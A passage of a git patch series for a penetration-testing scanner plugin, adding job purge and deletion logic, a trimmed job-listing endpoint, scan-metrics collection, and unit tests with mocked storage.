+ self.assertIsNone(c.kwargs["value"]) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -3714,4 +3847,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase4UiAggregate)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) runner.run(suite) From a97eb46cb7e06e630112964af1009bd21816afff Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 00:08:50 +0000 Subject: [PATCH 15/42] feat: job deletion & purge (phase 15) --- .../cybersec/red_mesh/pentester_api_01.py | 147 ++++++---- .../cybersec/red_mesh/test_redmesh.py | 253 ++++++++++++++++++ 2 files changed, 349 insertions(+), 51 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 6d2b17cd..bf9e1f8f 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1664,7 +1664,9 @@ def _build_job_archive(self, job_key, job_specs): cid = ref.get("report_cid") if cid: try: - self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) + success = self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) + if not success: + self.P(f"delete_file returned False for pass report CID {cid}", color='y') except Exception as e: self.P(f"Failed to clean up pass report CID {cid}: {e}", color='y') @@ -2574,19 +2576,20 @@ def list_local_jobs(self): @BasePlugin.endpoint def stop_and_delete_job(self, job_id : str): """ - Stop and delete a pentest job. + Stop a running job, mark it stopped, then delegate to purge_job + for full R1FS + CStore cleanup. Parameters ---------- job_id : str - Identifier of the job to stop. + Identifier of the job to stop and delete. Returns ------- dict - Status message and job_id. + Status of the purge operation including CID deletion counts. """ - # Stop the job if it's running + # Stop local workers if running local_workers = self.scan_jobs.get(job_id) if local_workers: self.P(f"Stopping and deleting job {job_id}.") @@ -2596,26 +2599,36 @@ def stop_and_delete_job(self, job_id : str): self.P(f"Job {job_id} stopped.") # Remove from active jobs self.scan_jobs.pop(job_id, None) + + # Mark as stopped in CStore so purge_job accepts it raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if isinstance(raw_job_specs, dict): _, job_specs = self._normalize_job_record(job_id, raw_job_specs) worker_entry = job_specs.setdefault("workers", {}).setdefault(self.ee_addr, {}) worker_entry["finished"] = True worker_entry["canceled"] = True + job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "stopped", "Job stopped and deleted", actor_type="user") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) else: - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=None) - self.P(f"Job {job_id} deleted.") + # Job not found in CStore — nothing to purge + self._log_audit_event("scan_stopped", {"job_id": job_id}) + return {"status": "success", "job_id": job_id, "cids_deleted": 0, "cids_total": 0} + + # Delegate full cleanup to purge_job self._log_audit_event("scan_stopped", {"job_id": job_id}) - return {"status": "success", "job_id": job_id} + return self.purge_job(job_id) @BasePlugin.endpoint def purge_job(self, job_id: str): """ - Purge a job: delete all R1FS artifacts then tombstone the CStore entry. - Job must be finished/canceled — cannot purge a running job. + Purge a job: delete all R1FS artifacts, clean up live progress keys, + then tombstone the CStore entry. + + Safety invariant: delete ALL R1FS artifacts first, THEN tombstone CStore. + If R1FS deletion fails partway, leave CStore intact so CIDs remain + discoverable for a retry. Parameters ---------- @@ -2633,7 +2646,7 @@ def purge_job(self, job_id: str): _, job_specs = self._normalize_job_record(job_id, raw) - # Reject if job is still running (finalized stubs have no workers dict) + # Reject if job is still running job_status = job_specs.get("job_status", "") workers = job_specs.get("workers", {}) if workers and any(not w.get("finished") for w in workers.values()): @@ -2641,66 +2654,98 @@ def purge_job(self, job_id: str): if job_status not in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED) and workers: return {"status": "error", "message": "Cannot purge a running job. Stop it first."} - # Collect all CIDs (deduplicated) + # ── Collect all CIDs (deduplicated) ── cids = set() + def _track(cid, source): + """Add CID and log where it was found.""" + if cid and isinstance(cid, str) and cid not in cids: + cids.add(cid) + self.P(f"[PURGE] Collected CID {cid} from {source}") + + # Job config CID + _track(job_specs.get("job_config_cid"), "job_specs.job_config_cid") + # Archive CID (finalized jobs) job_cid = job_specs.get("job_cid") if job_cid: - cids.add(job_cid) + _track(job_cid, "job_specs.job_cid") # Fetch archive to find nested CIDs try: archive = self.r1fs.get_json(job_cid) if isinstance(archive, dict): - for pass_data in archive.get("passes", []): - agg_cid = pass_data.get("aggregated_report_cid") - if agg_cid: - cids.add(agg_cid) - for wr in (pass_data.get("worker_reports") or {}).values(): - if isinstance(wr, dict) and wr.get("report_cid"): - cids.add(wr["report_cid"]) - except Exception: - pass # best-effort - - # Worker report CIDs (running jobs only — finalized stubs have no workers) + self.P(f"[PURGE] Archive fetched OK, {len(archive.get('passes', []))} passes") + for pi, pass_data in enumerate(archive.get("passes", [])): + _track(pass_data.get("aggregated_report_cid"), f"archive.passes[{pi}].aggregated_report_cid") + for addr, wr in (pass_data.get("worker_reports") or {}).items(): + if isinstance(wr, dict): + _track(wr.get("report_cid"), f"archive.passes[{pi}].worker_reports[{addr}].report_cid") + else: + self.P(f"[PURGE] Archive fetch returned non-dict: {type(archive)}", color='y') + except Exception as e: + self.P(f"[PURGE] Failed to fetch archive {job_cid}: {e}", color='r') + + # Worker report CIDs (running/stopped jobs — finalized stubs have no workers) for addr, w in workers.items(): - cid = w.get("report_cid") - if cid: - cids.add(cid) + _track(w.get("report_cid"), f"workers[{addr}].report_cid") - # Collect CIDs from pass reports (PassReportRef entries — running jobs only) - for ref in job_specs.get("pass_reports", []): + # Pass report CIDs + nested CIDs (running/stopped jobs) + for ri, ref in enumerate(job_specs.get("pass_reports", [])): report_cid = ref.get("report_cid") if report_cid: - cids.add(report_cid) - # Fetch PassReport to find nested CIDs (aggregated_report_cid, worker report CIDs) + _track(report_cid, f"pass_reports[{ri}].report_cid") try: pass_data = self.r1fs.get_json(report_cid) if isinstance(pass_data, dict): - agg_cid = pass_data.get("aggregated_report_cid") - if agg_cid: - cids.add(agg_cid) - for wr in (pass_data.get("worker_reports") or {}).values(): - if isinstance(wr, dict) and wr.get("report_cid"): - cids.add(wr["report_cid"]) - except Exception: - pass # best-effort — still delete what we can - - # Collect job config CID - config_cid = job_specs.get("job_config_cid") - if config_cid: - cids.add(config_cid) - - # Delete from R1FS (best-effort) - deleted = 0 + _track(pass_data.get("aggregated_report_cid"), f"pass_reports[{ri}]->aggregated_report_cid") + for addr, wr in (pass_data.get("worker_reports") or {}).items(): + if isinstance(wr, dict): + _track(wr.get("report_cid"), f"pass_reports[{ri}]->worker_reports[{addr}].report_cid") + else: + self.P(f"[PURGE] Pass report fetch returned non-dict: {type(pass_data)}", color='y') + except Exception as e: + self.P(f"[PURGE] Failed to fetch pass report {report_cid}: {e}", color='r') + + self.P(f"[PURGE] Total CIDs collected: {len(cids)}: {sorted(cids)}") + + # ── Delete R1FS artifacts ── + deleted, failed = 0, 0 for cid in cids: try: - self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) - deleted += 1 + success = self.r1fs.delete_file(cid, show_logs=True, raise_on_error=False) + if success: + deleted += 1 + self.P(f"[PURGE] Deleted CID {cid}") + else: + failed += 1 + self.P(f"[PURGE] delete_file returned False for CID {cid}", color='r') except Exception as e: - self.P(f"Failed to delete CID {cid}: {e}", color='y') + self.P(f"[PURGE] Failed to delete CID {cid}: {e}", color='r') + failed += 1 + + if failed > 0: + # Some CIDs couldn't be deleted — leave CStore intact for retry + self.P(f"Purge incomplete: {failed}/{len(cids)} CIDs failed. CStore kept.", color='r') + return { + "status": "partial", + "job_id": job_id, + "cids_deleted": deleted, + "cids_failed": failed, + "cids_total": len(cids), + "message": "Some R1FS artifacts could not be deleted. Retry purge later.", + } + + # ── Clean up live progress keys ── + all_live = self.chainstore_hgetall(hkey=f"{self.cfg_instance_id}:live") + if isinstance(all_live, dict): + prefix = f"{job_id}:" + for key in all_live: + if key.startswith(prefix): + self.chainstore_hset( + hkey=f"{self.cfg_instance_id}:live", key=key, value=None + ) - # Tombstone CStore entry + # ── ALL R1FS artifacts deleted — safe to tombstone CStore ── self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=None) self.P(f"Purged job {job_id}: {deleted}/{len(cids)} CIDs deleted.") diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 0c1d8533..ad72c5b0 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3829,6 +3829,258 @@ def test_clear_live_progress(self): self.assertIsNone(c.kwargs["value"]) +class TestPhase14Purge(unittest.TestCase): + """Phase 14: Job Deletion & Purge.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _make_plugin(self): + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + return plugin + + def test_purge_finalized_collects_all_cids(self): + """Finalized purge collects archive + config + aggregated_report + worker report CIDs.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + # CStore stub for a finalized job + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + "job_config_cid": "cid-config", + } + plugin.chainstore_hget.return_value = job_specs + + # Archive contains nested CIDs + archive = { + "passes": [ + { + "aggregated_report_cid": "cid-agg-1", + "worker_reports": { + "worker-A": {"report_cid": "cid-wr-A"}, + "worker-B": {"report_cid": "cid-wr-B"}, + }, + }, + ], + } + plugin.r1fs.get_json.return_value = archive + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + + # Normalize returns the specs as-is + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # Verify all 5 CIDs were deleted + deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} + self.assertEqual(deleted_cids, {"cid-archive", "cid-config", "cid-agg-1", "cid-wr-A", "cid-wr-B"}) + self.assertEqual(result["cids_deleted"], 5) + self.assertEqual(result["cids_total"], 5) + + def test_purge_finalized_no_pass_report_cids(self): + """Finalized purge does NOT try to delete individual pass report CIDs (they are inside archive).""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + # No pass_reports key — finalized stubs don't have them + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.get_json.return_value = {"passes": []} + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # Only archive CID should be deleted (no pass_reports, no config, no workers) + deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} + self.assertEqual(deleted_cids, {"cid-archive"}) + + def test_purge_running_collects_all_cids(self): + """Stopped (was running) purge collects config + worker CIDs + pass report CIDs + nested CIDs.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "STOPPED", + "job_config_cid": "cid-config", + "workers": { + "node-A": {"finished": True, "canceled": True, "report_cid": "cid-wr-A"}, + }, + "pass_reports": [ + {"report_cid": "cid-pass-1"}, + ], + } + plugin.chainstore_hget.return_value = job_specs + + # Pass report contains nested CIDs + pass_report = { + "aggregated_report_cid": "cid-agg-1", + "worker_reports": { + "node-A": {"report_cid": "cid-pass-wr-A"}, + }, + } + plugin.r1fs.get_json.return_value = pass_report + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + deleted_cids = {c.args[0] for c in plugin.r1fs.delete_file.call_args_list} + self.assertEqual(deleted_cids, {"cid-config", "cid-wr-A", "cid-pass-1", "cid-agg-1", "cid-pass-wr-A"}) + + def test_purge_r1fs_failure_keeps_cstore(self): + """Partial R1FS failure leaves CStore intact and returns 'partial' status.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + "job_config_cid": "cid-config", + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.get_json.return_value = {"passes": []} + + # First CID deletes ok, second raises + plugin.r1fs.delete_file.side_effect = [True, Exception("disk error")] + + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "partial") + self.assertEqual(result["cids_deleted"], 1) + self.assertEqual(result["cids_failed"], 1) + self.assertEqual(result["cids_total"], 2) + + # CStore should NOT be tombstoned + tombstone_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("value") is None + ] + self.assertEqual(len(tombstone_calls), 0) + + def test_purge_cleans_live_progress(self): + """Purge deletes live progress keys for the job from :live hset.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "STOPPED", + "workers": {"node-A": {"finished": True}}, + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.delete_file.return_value = True + + # Live hset has keys for this job and another + plugin.chainstore_hgetall.return_value = { + "job-1:node-A": {"progress": 100}, + "job-1:node-B": {"progress": 50}, + "job-2:node-C": {"progress": 30}, + } + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # Check that live progress keys for job-1 were deleted + live_delete_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance:live" and c.kwargs.get("value") is None + ] + deleted_keys = {c.kwargs["key"] for c in live_delete_calls} + self.assertEqual(deleted_keys, {"job-1:node-A", "job-1:node-B"}) + # job-2 key should NOT be touched + self.assertNotIn("job-2:node-C", deleted_keys) + + def test_purge_success_tombstones_cstore(self): + """After all CIDs deleted, CStore key is tombstoned (set to None).""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.get_json.return_value = {"passes": []} + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # CStore tombstone: hset(hkey=instance_id, key=job_id, value=None) + tombstone_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance" + and c.kwargs.get("key") == "job-1" + and c.kwargs.get("value") is None + ] + self.assertEqual(len(tombstone_calls), 1) + + def test_stop_and_delete_delegates_to_purge(self): + """stop_and_delete_job marks job stopped then delegates to purge_job.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + plugin.scan_jobs = {} + + job_specs = { + "job_id": "job-1", + "job_status": "RUNNING", + "workers": {"node-A": {"finished": False}}, + } + plugin.chainstore_hget.return_value = job_specs + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + # Mock purge_job to verify delegation + purge_result = {"status": "success", "job_id": "job-1", "cids_deleted": 3, "cids_total": 3} + plugin.purge_job = MagicMock(return_value=purge_result) + + result = Plugin.stop_and_delete_job(plugin, "job-1") + + # Verify job was marked stopped before purge + hset_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("key") == "job-1" + ] + self.assertEqual(len(hset_calls), 1) + saved_specs = hset_calls[0].kwargs["value"] + self.assertEqual(saved_specs["job_status"], "STOPPED") + self.assertTrue(saved_specs["workers"]["node-A"]["finished"]) + self.assertTrue(saved_specs["workers"]["node-A"]["canceled"]) + + # Verify purge was called + plugin.purge_job.assert_called_once_with("job-1") + self.assertEqual(result, purge_result) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -3848,4 +4100,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) runner.run(suite) From 051210f55d03866e0bedfe1bb1150ab14e56965e Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 00:13:20 +0000 Subject: [PATCH 16/42] fix: listing endpoint optimization (phase 15) --- .../cybersec/red_mesh/pentester_api_01.py | 29 +++-- .../cybersec/red_mesh/test_redmesh.py | 118 ++++++++++++++++++ 2 files changed, 136 insertions(+), 11 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index bf9e1f8f..61cd926e 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -2538,21 +2538,28 @@ def list_network_jobs(self): for job_key, job_spec in raw_network_jobs.items(): normalized_key, normalized_spec = self._normalize_job_record(job_key, job_spec) if normalized_key and normalized_spec: - # Finalized stubs (have job_cid) — return as-is + # Finalized stubs (have job_cid) — already small, return as-is if normalized_spec.get("job_cid"): normalized_jobs[normalized_key] = normalized_spec continue - # Running jobs — strip heavy fields, keep counts - pass_reports = normalized_spec.pop("pass_reports", None) - normalized_spec["pass_count"] = len(pass_reports) if isinstance(pass_reports, list) else 0 - - workers = normalized_spec.pop("workers", None) - normalized_spec["worker_count"] = len(workers) if isinstance(workers, dict) else 0 - - normalized_spec.pop("timeline", None) - - normalized_jobs[normalized_key] = normalized_spec + # Running jobs — allowlist only listing-essential fields + normalized_jobs[normalized_key] = { + "job_id": normalized_spec.get("job_id"), + "job_status": normalized_spec.get("job_status"), + "target": normalized_spec.get("target"), + "task_name": normalized_spec.get("task_name"), + "risk_score": normalized_spec.get("risk_score", 0), + "run_mode": normalized_spec.get("run_mode"), + "start_port": normalized_spec.get("start_port"), + "end_port": normalized_spec.get("end_port"), + "date_created": normalized_spec.get("date_created"), + "launcher": normalized_spec.get("launcher"), + "launcher_alias": normalized_spec.get("launcher_alias"), + "worker_count": len(normalized_spec.get("workers", {}) or {}), + "pass_count": len(normalized_spec.get("pass_reports", []) or []), + "job_pass": normalized_spec.get("job_pass", 1), + } return normalized_jobs diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index ad72c5b0..02a5d80b 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4081,6 +4081,123 @@ def test_stop_and_delete_delegates_to_purge(self): self.assertEqual(result, purge_result) +class TestPhase15Listing(unittest.TestCase): + """Phase 15: Listing Endpoint Optimization.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_list_finalized_returns_stub_fields(self): + """Finalized jobs return exact CStoreJobFinalized fields.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + finalized_stub = { + "job_id": "job-1", + "job_status": "FINALIZED", + "target": "10.0.0.1", + "task_name": "scan-1", + "risk_score": 75, + "run_mode": "SINGLEPASS", + "duration": 120.5, + "pass_count": 1, + "launcher": "0xLauncher", + "launcher_alias": "node1", + "worker_count": 2, + "start_port": 1, + "end_port": 1024, + "date_created": 1700000000.0, + "date_completed": 1700000120.0, + "job_cid": "QmArchive123", + "job_config_cid": "QmConfig456", + } + plugin.chainstore_hgetall.return_value = {"job-1": finalized_stub} + plugin._normalize_job_record = MagicMock(return_value=("job-1", finalized_stub)) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("job-1", result) + entry = result["job-1"] + + # All CStoreJobFinalized fields present + self.assertEqual(entry["job_id"], "job-1") + self.assertEqual(entry["job_status"], "FINALIZED") + self.assertEqual(entry["job_cid"], "QmArchive123") + self.assertEqual(entry["job_config_cid"], "QmConfig456") + self.assertEqual(entry["target"], "10.0.0.1") + self.assertEqual(entry["risk_score"], 75) + self.assertEqual(entry["duration"], 120.5) + self.assertEqual(entry["pass_count"], 1) + self.assertEqual(entry["worker_count"], 2) + + def test_list_running_stripped(self): + """Running jobs have listing fields but no heavy data.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + running_spec = { + "job_id": "job-2", + "job_status": "RUNNING", + "target": "10.0.0.2", + "task_name": "scan-2", + "risk_score": 0, + "run_mode": "CONTINUOUS_MONITORING", + "start_port": 1, + "end_port": 65535, + "date_created": 1700000000.0, + "launcher": "0xLauncher", + "launcher_alias": "node1", + "job_pass": 3, + "job_config_cid": "QmConfig789", + "workers": { + "addr-A": {"start_port": 1, "end_port": 32767, "finished": False, "report_cid": "QmBigReport1"}, + "addr-B": {"start_port": 32768, "end_port": 65535, "finished": False, "report_cid": "QmBigReport2"}, + }, + "timeline": [ + {"event": "created", "ts": 1700000000.0}, + {"event": "started", "ts": 1700000001.0}, + ], + "pass_reports": [ + {"pass_nr": 1, "report_cid": "QmPass1"}, + {"pass_nr": 2, "report_cid": "QmPass2"}, + ], + "redmesh_job_start_attestation": {"big": "blob"}, + } + plugin.chainstore_hgetall.return_value = {"job-2": running_spec} + plugin._normalize_job_record = MagicMock(return_value=("job-2", running_spec)) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("job-2", result) + entry = result["job-2"] + + # Listing essentials present + self.assertEqual(entry["job_id"], "job-2") + self.assertEqual(entry["job_status"], "RUNNING") + self.assertEqual(entry["target"], "10.0.0.2") + self.assertEqual(entry["task_name"], "scan-2") + self.assertEqual(entry["run_mode"], "CONTINUOUS_MONITORING") + self.assertEqual(entry["job_pass"], 3) + self.assertEqual(entry["worker_count"], 2) + self.assertEqual(entry["pass_count"], 2) + + # Heavy fields stripped + self.assertNotIn("workers", entry) + self.assertNotIn("timeline", entry) + self.assertNotIn("pass_reports", entry) + self.assertNotIn("redmesh_job_start_attestation", entry) + self.assertNotIn("job_config_cid", entry) + self.assertNotIn("report_cid", entry) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -4101,4 +4218,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) runner.run(suite) From 88e572cf63ee33eb0488082abb08157d131affcd Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 00:30:34 +0000 Subject: [PATCH 17/42] feat: scan metrics collection (phase 16a) --- .../cybersec/red_mesh/pentester_api_01.py | 46 ++++ .../cybersec/red_mesh/redmesh_utils.py | 223 +++++++++++++++++- 2 files changed, 268 insertions(+), 1 deletion(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 61cd926e..407eb9f0 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -3103,6 +3103,46 @@ def llm_health(self): return self._get_llm_health_status() + @staticmethod + def _merge_worker_metrics(metrics_list): + """Merge scan_metrics dicts from multiple local worker threads.""" + if not metrics_list: + return None + merged = {} + # Sum connection outcomes + outcomes = {} + for m in metrics_list: + for k, v in (m.get("connection_outcomes") or {}).items(): + outcomes[k] = outcomes.get(k, 0) + v + if outcomes: + merged["connection_outcomes"] = outcomes + # Sum coverage + cov_scanned = sum(m.get("coverage", {}).get("ports_scanned", 0) for m in metrics_list if m.get("coverage")) + cov_range = sum(m.get("coverage", {}).get("ports_in_range", 0) for m in metrics_list if m.get("coverage")) + cov_skipped = sum(m.get("coverage", {}).get("ports_skipped", 0) for m in metrics_list if m.get("coverage")) + if cov_range: + merged["coverage"] = { + "ports_in_range": cov_range, "ports_scanned": cov_scanned, + "ports_skipped": cov_skipped, + "coverage_pct": round(cov_scanned / cov_range * 100, 1), + } + # Sum finding distribution + findings = {} + for m in metrics_list: + for k, v in (m.get("finding_distribution") or {}).items(): + findings[k] = findings.get(k, 0) + v + if findings: + merged["finding_distribution"] = findings + # Sum probe counts + for field in ("probes_attempted", "probes_completed", "probes_skipped", "probes_failed"): + merged[field] = sum(m.get(field, 0) for m in metrics_list) + # Max total_duration + merged["total_duration"] = max(m.get("total_duration", 0) for m in metrics_list) + # Detection flags (any thread detecting = True) + merged["rate_limiting_detected"] = any(m.get("rate_limiting_detected") for m in metrics_list) + merged["blocking_detected"] = any(m.get("blocking_detected") for m in metrics_list) + return merged + def _publish_live_progress(self): """ Publish aggregated live progress for all active local scan jobs. @@ -3129,6 +3169,7 @@ def _publish_live_progress(self): all_tests = set() all_done = True + worker_metrics = [] for worker in local_workers.values(): state = worker.state total_scanned += len(state.get("ports_scanned", [])) @@ -3137,6 +3178,7 @@ def _publish_live_progress(self): all_tests.update(state.get("completed_tests", [])) if not state.get("done"): all_done = False + worker_metrics.append(worker.metrics.build().to_dict()) # Determine current phase from completed_tests if "correlation_completed" in all_tests: @@ -3156,6 +3198,9 @@ def _publish_live_progress(self): if isinstance(job_specs, dict): pass_nr = job_specs.get("job_pass", 1) + # Merge metrics from all local threads + merged_metrics = worker_metrics[0] if len(worker_metrics) == 1 else self._merge_worker_metrics(worker_metrics) + progress = WorkerProgress( job_id=job_id, worker_addr=ee_addr, @@ -3167,6 +3212,7 @@ def _publish_live_progress(self): open_ports_found=sorted(all_open), completed_tests=sorted(all_tests), updated_at=now, + live_metrics=merged_metrics, ) self.chainstore_hset( hkey=live_hkey, diff --git a/extensions/business/cybersec/red_mesh/redmesh_utils.py b/extensions/business/cybersec/red_mesh/redmesh_utils.py index e98949f8..d95121b5 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_utils.py +++ b/extensions/business/cybersec/red_mesh/redmesh_utils.py @@ -17,6 +17,182 @@ ) from .web_mixin import _WebTestsMixin +from .models.shared import ScanMetrics +import math +import statistics + + +class MetricsCollector: + """Collects raw scan timing and outcome data during a worker scan.""" + + def __init__(self): + self._phase_starts = {} + self._phase_ends = {} + self._connection_outcomes = {"connected": 0, "timeout": 0, "refused": 0, "reset": 0, "error": 0} + self._response_times = [] + self._port_scan_delays = [] + self._probe_results = {} + self._scan_start = None + self._ports_in_range = 0 + self._ports_scanned = 0 + self._ports_skipped = 0 + self._open_ports = [] + self._service_counts = {} + self._finding_counts = {} + # For success rate over time windows + self._connection_log = [] # [(timestamp, success_bool)] + + def start_scan(self, ports_in_range: int): + self._scan_start = time.time() + self._ports_in_range = ports_in_range + + def phase_start(self, phase: str): + self._phase_starts[phase] = time.time() + + def phase_end(self, phase: str): + self._phase_ends[phase] = time.time() + + def record_connection(self, outcome: str, response_time: float): + self._connection_outcomes[outcome] = self._connection_outcomes.get(outcome, 0) + 1 + if response_time >= 0: + self._response_times.append(response_time) + self._connection_log.append((time.time(), outcome == "connected")) + self._ports_scanned += 1 + + def record_port_scan_delay(self, delay: float): + self._port_scan_delays.append(delay) + + def record_probe(self, probe_name: str, result: str): + self._probe_results[probe_name] = result + + def record_open_port(self, port: int, protocol: str = None): + self._open_ports.append(port) + if protocol: + self._service_counts[protocol] = self._service_counts.get(protocol, 0) + 1 + + def record_finding(self, severity: str): + self._finding_counts[severity] = self._finding_counts.get(severity, 0) + 1 + + def _compute_stats(self, values: list) -> dict | None: + if not values: + return None + sorted_v = sorted(values) + n = len(sorted_v) + mean = sum(sorted_v) / n + median = sorted_v[n // 2] if n % 2 else (sorted_v[n // 2 - 1] + sorted_v[n // 2]) / 2 + stddev = statistics.stdev(sorted_v) if n > 1 else 0 + p95 = sorted_v[int(n * 0.95)] if n >= 20 else sorted_v[-1] + p99 = sorted_v[int(n * 0.99)] if n >= 100 else sorted_v[-1] + return { + "min": round(sorted_v[0], 4), + "max": round(sorted_v[-1], 4), + "mean": round(mean, 4), + "median": round(median, 4), + "stddev": round(stddev, 4), + "p95": round(p95, 4), + "p99": round(p99, 4), + "count": n, + } + + def _compute_phase_durations(self) -> dict | None: + durations = {} + for phase, start in self._phase_starts.items(): + end = self._phase_ends.get(phase, time.time()) + durations[phase] = round(end - start, 2) + return durations if durations else None + + def _compute_success_windows(self, window_size: float = 60.0) -> list | None: + if not self._connection_log: + return None + windows 